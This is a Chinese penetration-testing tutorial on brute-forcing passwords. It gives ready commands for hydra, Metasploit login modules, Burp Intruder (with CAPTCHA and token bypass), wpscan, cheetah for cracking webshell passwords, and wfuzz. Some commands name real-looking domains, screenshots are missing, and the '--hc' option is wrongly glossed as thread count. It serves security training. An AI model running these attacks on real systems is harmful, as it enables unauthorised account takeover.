一、hydra详解和利用
hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。该工具是kali自带的,无需下载,常用参数如下
1.1 hydra参数详解
hydra [[[-l LOGIN|-L FILE] [-p PASS|-PFILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]][-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
service 指定服务名,支持的服务和协议:telnetftp pop3[-ntlm] imap[-ntlm] smb smbnt
http-{head|get} http-{get|post}-formhttp-proxy cisco cisco-enable vnc
ldap2 ldap3 mssql mysql oracle-listenerpostgres nntp socks5 rexec
rlogin pcnfs snmp rsh cvs svn icq sapr3 sshsmtp-auth[-ntlm] pcanywhere
teamspeak sip vmauthd firebird ncp afp等等。
1.2 具体使用
1)爆破ssh服务
1、通过nmap检测目标是否开放了ssh服务
2、通过hydra进行爆破
hydra -L /root/pentest/user.txt -P /root/pentest/passwd.txt ssh://192.168.0.122 -f -o
/root/pentest/ssh.txt -V
参数解释:
-L:指定用户名文件夹
-P:指定密码文件夹
-f:找到一对登录成功的用户名密码就停止
-o:输出到指定文件
-V:显示详细信息
爆破结果如下:
2)爆破ftp服务
1、通过nmap检测目标是否开放ftp服务
2、通过hydra进行爆破
hydra -L /root/pentest/user.txt -P /root/pentest/passwd.txt ftp://192.168.0.100 -f
-o /root/pentest/ftp.txt -V
爆破结果如下:
3)爆破mssql服务
1、通过nmap检测目标是否开放mssql服务
2、通过hydra进行爆破
hydra -L /root/pentest/user.txt -P /root/pentest/passwd.txt mssql://192.168.0.100 -f
-o /root/pentest/mssql.txt -V
爆破结果如下:
4)爆破mysql服务
1、通过nmap检测目标是否开放mysql服务
2、通过hydra进行爆破
hydra -l root -P /root/pentest/passwd.txt mysql://192.168.0.100 -f
-o /root/pentest/mysql.txt -V
注意:若爆破次数过多可以会出现拒绝连接的情况,这时候要在靶机的mysql命令行中输入flush hosts即可。
3、也可以同时指定多个ip进行爆破
hydra -l root -P /root/pentest/passwd.txt -M /root/pentest/file.txt -f -V -t 4 mysql
参数解释:
M:用来指定一个文件夹
-t:指定并发数
5)爆破rdp服务
hydra -l administrator -P /root/pentest/passwd.txt -t 4 -V 192.168.0.115 rdp
查看爆破结果,发现破解的密码并不正确。可能是因为kali的hydra现在已经不支持rdp这个服务了,因此产生了误报。
如果想要爆破rdp服务,可以使用御剑RDP爆破工具爆破即可。
6)爆破其他服务
oracle
hydra -P /root/passwd oracle://192.168.0.100 -f -o /root/oracle.txt –v
redis
hydra -P /root/passlist.txt -e nsr -t 16 192.168.0.101 redis
postgresql
hydra -P /root/passlist.txt -e nsr -t 16 192.168.0.101 postgresql
1.3 xhydra使用
1、xhydra是hydra的可视化工具,在kali命令行中输入xhydra即可开启
以爆破mssql为例。
target页面选项解释如下:
password页面选项解释如下:
Tuning页面选项解释如下:
start页面选项解释如下:
二、msf穷举模块使用
2.1 auxiliary模块介绍
msf是一个漏洞利用框架,里面包含了许多模块,这里我们将用到其中的auxiliary模块。
auxiliary常用于漏洞验证,端口嗅探,暴力枚举,反弹shell监听,是一个偏向辅助的模块。
常用的模块如下:
auxiliary/scanner/ftp/ftp_login ftp爆破
auxiliary/scanner/ssh/ssh_login ssh爆破
auxiliary/scanner/telnet/telnet_login telnet爆破
auxiliary/scanner/smb/smb_login smb爆破
auxiliary/scanner/mssql/mssql_login mssql爆破
auxiliary/scanner/mysql/mysql_login mysql爆破
auxiliary/scanner/oracle/oracle_login oracle爆破
auxiliary/scanner/postgres/postgres_login postgresql爆破
auxiliary/scanner/vnc/vnc_login vnc爆破
auxiliary/scanner/pcanywhere/pcanywhere_login pcanywhere爆破
auxiliary/scanner/snmp/snmp_login snmp爆破
2.2 具体使用方法
这里以爆破mssql为例
1、输入msfconsole进入msf命令行
2、查看可以利用的模块
命令如下:
search scanner
3、使用需要利用的模块
命令如下:
use auxiliary/scanner/mssql/mssql_login
4、查看需要配置哪些参数
命令如下:
show options
5、配置参数
命令如下:
set 设置需要配置的参数
6、执行攻击
命令如下:
exploit或者run均可
成功攻击获取到了密码。其他服务的爆破与mssql相类似。
三、邮箱破解
3.1 检测邮箱是否开放
1、通过nmap进行端口扫描
nmap -O -sV -Pn 192.168.0.100
参数解释:
-O:查看操作系统信息
-sV:查看版本信息
-Pn:不通过ping的方式访问
可以看到目标系统开放了25,110端口。这两个端口都是属于邮件协议。并且是通过WinWebMail搭建而成。
访问一下目标系统,发现确实存在邮箱系统。因此可以尝试利用进行邮箱破解
3.2 通过MailCracker进行邮箱破解
1、通过邮箱收集得到一个邮箱名为c1ay@moonteam.com
2、将该邮箱通过MailCracker进行破解
工具各个选项的解释如下:
具体流程如下:
1、导入获取到的邮箱名称
2、导入密码字典
)
3、设置smtp服务器
4、尝试连接smtp服务器
5、开始破解即可
6、通过获取的用户名密码进行登录邮箱
四、指定后台密码穷举
4.1 Burpsuite基本介绍
Burp Suite 是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架。
Burpsuite比较常用的是proxy,Repeater,Intruder,Decoder模块。
proxy:利用Burp开展测试流程的核心,通过代理模式,可以让我们拦截、查看、修改所有在客户端与服务端之间传输的数据
Repeater:Burp Repeater是一个手动修改、 补发个别HTTP请求,并分析它们的响应的工具
Intruder:Intruder是一个定制的高度可配置的工具,可以对Web应用程序进行自动化攻击,如通过标识符枚举用户名、ID和账户号码,模糊测试,SQL注入,跨站,目录遍历等
Decoder:Decoder的功能比较简单,它是Burp中自带的编码解码及散列转换的工具,能对原始数据进行各种编码格式和散列的转换。
burpsuite模块具体使用方法可参考:后面更新。。
4.2 通过Burpsuite的Intruder进行单一用户枚举
1、为浏览器设置代理,以火狐浏览器为例:
点击选项——>高级——>网络,如下设置代理,端口应该与burpsuite设置的一致,默认是8080
若使用谷歌浏览器,则需要下载一个插件名为SwitchyOmega,在插件中设置代理即可。
2、访问网站,抓取登录时的数据包
3、将数据包发送到intruder模块中。
4、为需要爆破的字段打上标记
5、添加上需要使用的字典
6、开始攻击即可。
可以通过length的值以及status的值来筛选出正确的密码。通过length判断的原因是登录成功与登录失败返回的字段长度不同,通过Status的值判断的原因是在登录成功后常常会进行302重定向,跳转到登录成功的页面
这里我们可以得到密码为123456,
4.3 通过Burpsuite的Intruder进行批量用户枚举
方式与枚举单一用户类似。具体如下:
1、抓取数据包,并发送到Intruder模块
2、为需要爆破的字段打上标记,并设置爆破模式
3、载入对应字典
4、开始攻击
攻击前为了避免速度太慢,可以适当增加线程数。
结果如下:
4.4 有验证码的后台穷举
1)验证码是否是cookie验证
1、先看看一下登录页面,发现存在验证码
2、抓包发送到repeater模块。
3、测试一下登录成功和登录失败数据包返回结果
登录成功:会进行302跳转
登录失败:会进行弹框
4、测试网站验证码登录校验是否是通过cookie
删除cookie信息,输入正常的用户名密码验证码,测试是否可以成功登录
到此可以判断出是基于cookie验证的了,这时候就可以发送到intruder模块进行爆破即可。
2)验证码是否是前端验证
1、抓包发送到repeater模块
2)尝试删除vcode字段进行绕过验证码检测
3)绕过token验证
以pikachu-master靶场为例子
1、通过F12打开开发者选项,发现token隐藏在源代码中
2、抓包发送到Intruder模块中
3、设置攻击模式和参数
4、设置payload
第一个参数password正常载入字典
第二个参数token则选择为正则匹配
匹配方式如下:
注意:若采用上述方法,应该将线程调为1.不然无法正常执行
攻击结果如下:
4)验证码识别
若上述方法均无效,则可以采用此方法。
可以通过验证码识别工具对验证码进行识别,识别工具为burpsuite的reCAPTCHA,以及Pkav HTTP Fuzzer。具体用法可自行百度。。
七、wordpress后台破解
7.1 wordscan简介
WordPress是全球流行的博客网站,全球有上百万人使用它来搭建博客。他使用PHP脚本和Mysql数据库来搭建网站。
WPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。我们还使用了 Nikto ,它是一款非常棒的Web 服务器评估工具,我们认为这个工具应该成为所有针对 WordPress网站进行的渗透测试的一部分。
常用参数如下:
u 枚举用户名,默认从1-10
u[10-20] 枚举用户名,配置从10-20
p 枚举插件
vp 只枚举有漏洞的插件
t 枚举主题信息
vt 只枚举存在漏洞的主题
--wordlist | -w <wordlist指定密码字典
--usernames <path-to-file指定爆破用户名字典
--threads | -t <number of threads指定多线程
--cookie <String指定cookie
-proxy <[protocol://]host:port设置一个代理,可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5,如果未设置默认是HTTP协议
--passwords | -P <path-to-file指定爆破密码字典
--enumerate | -e [option(s)] 枚举
--url | -u 要扫描的
WordPress
站点.--update 更新到最新版本
--force | -f 不检查网站运行的是不是
WordPress
7.2 wpscan的基本用法
简单使用如下(扫描IP以靶机为例),靶机为midnight
1)对数据库进行更新:Wpscan --update
2)扫描指定站点:wpscan --url http://sunset-midnight/
3)扫描指定用户:wpscan --url http://sunset-midnight/ -e u
4)扫描一下插件:wpscan --url http://sunset-midnight/ -e p
若扫描出的插件存在漏洞,即存在利用点
5)扫描一下存在漏洞主题:wpscan --url http://sunset-midnight/ -e vt
若扫描出的主题存在漏洞,即存在利用点。
6)通过wpscan进行爆破后台登录页面:
wpscan --url http://sunset-midnight/ -P /root/pentest/passwd.txt u admin threads 20
八、一句话密码破解
8.1 cheetah工具介绍
Cheetah是一款基于字典的webshell密码爆破工具,Cheetah的工作原理是能根据自动探测出的web服务设置相关参数一次性提交大量的探测密码进行爆破,爆破效率是其他普通webshell密码暴力破解工具上千倍。
项目地址:[https://github.com/sunnyelf/cheetah](
特点如下:
速度极快
支持批量爆破
自动伪造请求
自动探测web服务设置相关参数
支持读取和去重超大密码字典文件
支持python 2.x和3.x
目前支持php、jsp、asp、aspx webshell
参数说明:
-h, --help 显示帮助信息并退出
-i, --info 显示程序信息并退出
-v, --verbose 启用详细输出模式(默认禁用)
-c, --clear 去重字典文件(默认禁用)
-up, --update 更新cheetah
-r , --request 指定请求方式(默认POST方式)
-t , --time 指定请求间隔时间(默认0秒)
-w , --webshell 指定webshell类型(默认自动探测)
-s , --server 指定web服务器名称(默认自动探测)
-n , --number 指定一次请求参数数量(默认自动设置)
-u , --url 指定webshell url地址
-b , --url-file 指定批量webshell urls文件
-p file [file ...] 指定多个字典文件(默认使用data/pwd.list)
使用实例:
python cheetah.py -u http://orz/orz.php
python cheetah.py -u http://orz/orz.jsp -r post -n 1000 -v
python cheetah.py -u http://orz/orz.asp -r get -c -p pwd.list
python cheetah.py -u http://orz/orz -w aspx -s apache -n 1000
python cheetah.py -b url.list -c -p pwd1.list pwd2.list -v
8.2 通过cheetah爆破一句话密码
1、爆破php一句话
python3 cheetah.py -u http://www.yijuhua.com/a.php -n 1000 -v -p data/pwd.list
2、爆破asp一句话
python3 cheetah.py -u http://www.yijuhua.com/a.asp -n 1000 -v -p data/pwd.list
3、爆破aspx一句话
python3 cheetah.py -u http://www.yijuhua.com/a.asp -n 1000 -v -p data/pwd.list
在成功获取到一句话密码后,即可通过蚁剑或菜刀连接即可。
九、webshell密码破解
webshell的爆破思路和上面的指定后台密码枚举一致,只需要通过burpsuite中的intruder模块爆破即可。成功与否均取决于字典。
9.1 爆破phpwebshell
1、通过目录扫描工具扫描时,发现了一个webshell
2、通过burp进行抓包,并发送到intruder模块进行爆破
3、设置攻击模式和参数,并载入字典
4、开始攻击
成功爆破出密码为admin,尝试进行连接,连接成功。
9.2 爆破aspwebshell
步骤和上面相类似,只看看结果即可
爆破成功,密码为F4ck
尝试进行登录
aspx,和jsp的与前面两者相类似,不再赘述。
十、phpmyadmin登录破解
10.1 phpMyAdmin暴力破解v1.3(单线程)
10.2 phpmyadmin 多线程密码枚举工具
十一、wfuzz多线程百万密码测试后台
11.1 wfuzz简介
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带。
wfuzz可以容纳百万条字典,而burpsuite却无法容纳这么多条。
参数:
Usage: wfuzz [options] -z payload,params <url>
FUZZ, ..., FUZnZ wherever you put these keywords wfuzz will replace them with the values of the specified payload.
FUZZ{baseline_value} FUZZ will be replaced by baseline_value. It will be the first request performed and could be used as a base for filtering.
Options:
-h : This help
--help : Advanced help
--version : Wfuzz version details
-e <type> : List of available encoders/payloads/iterators/printers/scripts
-c : Output with colors
-v : Verbose information.
--interact : (beta) If selected,all key presses are captured. This allows you to interact with the program.
-p addr : Use Proxy in format ip:port:type. Repeat option for using various proxies.
Where type could be SOCKS4,SOCKS5 or HTTP if omitted.
-t N : Specify the number of concurrent connections (10 default)
-s N : Specify time delay between requests (0 default)
-R depth : Recursive path discovery being depth the maximum recursion level (0 default)
-D depth : Maximum link depth level (4 default)
-L, --follow : Follow HTTP redirections
-u url : Specify a URL for the request.
-z payload : Specify a payload for each FUZZ keyword used in the form of type,parameters,encoder.
A list of encoders can be used, ie. md5-sha1. Encoders can be chained, ie. md5@sha1.
Encoders category can be used. ie. url
Use help as a payload to show payload plugin's details (you can filter using --slice)
-w wordlist : Specify a wordlist file (alias for -z file,wordlist).
-V alltype : All parameters bruteforcing (allvars and allpost). No need for FUZZ keyword.
-X method : Specify an HTTP method for the request, ie. HEAD or FUZZ
-b cookie : Specify a cookie for the requests
-d postdata : Use post data (ex: "id=FUZZ&catalogue=1")
-H header : Use header (ex:"Cookie:id=1312321&user=FUZZ")
--basic/ntlm/digest auth : in format "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"
--hc/hl/hw/hh N[,N]+ : Hide responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
--sc/sl/sw/sh N[,N]+ : Show responses with the specified code/lines/words/chars (Use BBB for taking values from baseline)
--ss/hs regex : Show/Hide responses with the specified regex within the content
基本用法:
Examples:
wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
11.2 通过wfuzz穷举后台密码
wfuzz -c -z file,pentest/csdnpass.txt --hc 200 -u http://www.blogs.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
参数解释:
-c:破解成功的密码有颜色输出
-z:载入一下文件
--hc:线程
-u:目标后台地址
-d:发送请求的数据包
需要爆破的内容用FUZZ代替即可
爆破出密码为123456。尝试进行登录